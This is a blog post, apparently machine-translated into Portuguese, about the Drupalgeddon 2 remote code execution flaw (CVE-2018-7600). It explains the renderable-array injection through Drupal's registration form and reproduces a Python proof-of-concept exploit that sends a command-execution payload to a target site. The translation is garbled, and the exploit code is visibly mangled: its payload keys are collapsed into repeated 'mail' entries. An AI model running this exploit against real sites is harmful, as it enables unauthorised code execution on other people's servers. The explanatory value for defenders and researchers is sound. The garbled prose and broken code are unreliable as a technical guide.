Blog Drupalgeddon 2 RCE – SecPod

mais de um milhão de sites ativos usam Drupal, tornando-se o segundo sistema de gestão de conteúdo mais usado em todo o mundo, depois do WordPress. Em 28 de Março de 2018, A Drupal lançou patches de segurança para as versões 6 a 8 sugerindo atualizar imediatamente e marcar a vulnerabilidade subjacente (CVE-2018-7600) como crítica com a execução de código remoto. A digitalização e os ataques nos sites usando Drupal aumentaram exponencialmente como esperado, mas não houve relatos da vulnerabilidade sendo explorada na natureza. Então, há alguns dias, um pesquisador de segurança russo publicou um código de exploração de provas de conceito (POC) no GitHub e a Internet enlouqueceu.

a exploração acumulada e os atacantes começaram a usá-la para instalar mineiros de criptocurrency e backdoors de malware. Acredita-se que uma das campanhas mineradoras Monero que entregou XMRig enquanto explorava a vulnerabilidade (CVE-2017-10271) em servidores Weblógicos Oracle está envolvida.De acordo com as estatísticas, 90% dos ataques do Drupalgeddon 2 não são nada mais do que varreduras para encontrar sistemas vulneráveis, 3% são tentativas de infeção por backdoor e 2% estão tentando executar mineiros de crypto.

Drupal in its advisory warned ” sites not patched by Wednesday, 2018-04-11 may be compromised “and” simply updating Drupal will not remove backdoors or fixed sites comprometidos. Se descobrir que o seu site já está remendado, mas não o fez, pode ser um sintoma de que o site foi comprometido. Alguns ataques no passado aplicaram o patch como uma forma de garantir que apenas esse atacante está no controle do site.”

jargão técnico

Drupal introduziu a sua forma API na Drupal 6, o que permitiu a alteração dos dados da forma durante o processo de transformação da forma. Isto revolucionou a forma como o processamento de marcação funcionava. Em Drupal 7 a API forma foi generalizada para o que é hoje conhecido como “Arrays Renderáveis”. Esta API estendida é usada para representar a estrutura da maioria dos elementos UI no Drupal, tais como páginas, blocos, nós e muito mais. As arrays renderáveis contêm meta-dados que são usados no processo de renderização. Estas matrizes renderáveis são uma estrutura de valor-chave na qual as chaves de propriedade começam com um sinal de hash (#). Um exemplo:

Drupal liberou um patch adicionando apenas um Requisitizador de classe única com um método stripDangerousValues que desocupa todos os itens em um array de entrada para chaves que começam com um sinal de hash. Este método saniza os dados de entrada em $_GET, $_POST & $_COOKIES durante os estágios iniciais do bootstrap do Drupal (imediatamente após carregar as configurações do site). Pode-se assumir que a razão pela qual o patch foi liberado é para tornar uma vulnerabilidade existente mais difícil de encontrar.

a vulnerabilidade foi encontrada nas formas. O formulário de registro do usuário que não requer autenticação e pode ser acessado anonimamente contém vários campos de entrada e pode ser explorado.Fonte da imagem : Checkpoint, Dofinity

foi altamente provável que injetar um array renderável exploraria a vulnerabilidade, a questão era onde?

ao que parece, o campo” Endereço de E-mail ” não saniza o tipo de entrada que recebe, o que nos permitiu injetar o array renderável na estrutura do array do formulário.

fonte da imagem : Checkpoint, Dofinity

Now, all we needed was for Drupal to render our injected array. Uma vez que o Drupal trata nosso array injetado como um valor e não como um elemento, nós precisávamos enganar Drupal para rendê-lo. O Drupal torna um array em um evento de carga de página ou através da API Drupal AJAX.

o campo “Imagem” do formulário de registro do usuário usa a API AJAX do Drupal para carregar uma imagem e substituí-la por uma miniatura da imagem enviada.

Proof-of-concept(POC)

#!/usr/bin/env python3import sysimport requestsprint ('################################################################')print ('# Proof-Of-Concept for CVE-2018-7600')print ('# by Vitalii Rudnykh')print ('# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders')print ('# https://github.com/a2u/CVE-2018-7600')print ('################################################################')print ('Provided only for educational or information purposes\n')target = input('Enter target url (example: https://domain.ltd/): ')# Add proxy support (eg. BURP to analyze HTTP(s) traffic)# set verify = False if your proxy certificate is self signed# remember to set proxies both for http and https# # example:# proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}# verify = Falseproxies = {}verify = Trueurl = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail': 'exec', 'mail': 'markup', 'mail': 'echo ";-)" | tee hello.txt'}r = requests.post(url, proxies=proxies, data=payload, verify=verify)check = requests.get(target + 'hello.txt', verify=verify)if check.status_code != 200: sys.exit("Not exploitable")print ('\nCheck: '+target+'hello.txt')

Deixe uma resposta

O seu endereço de email não será publicado.

Related Posts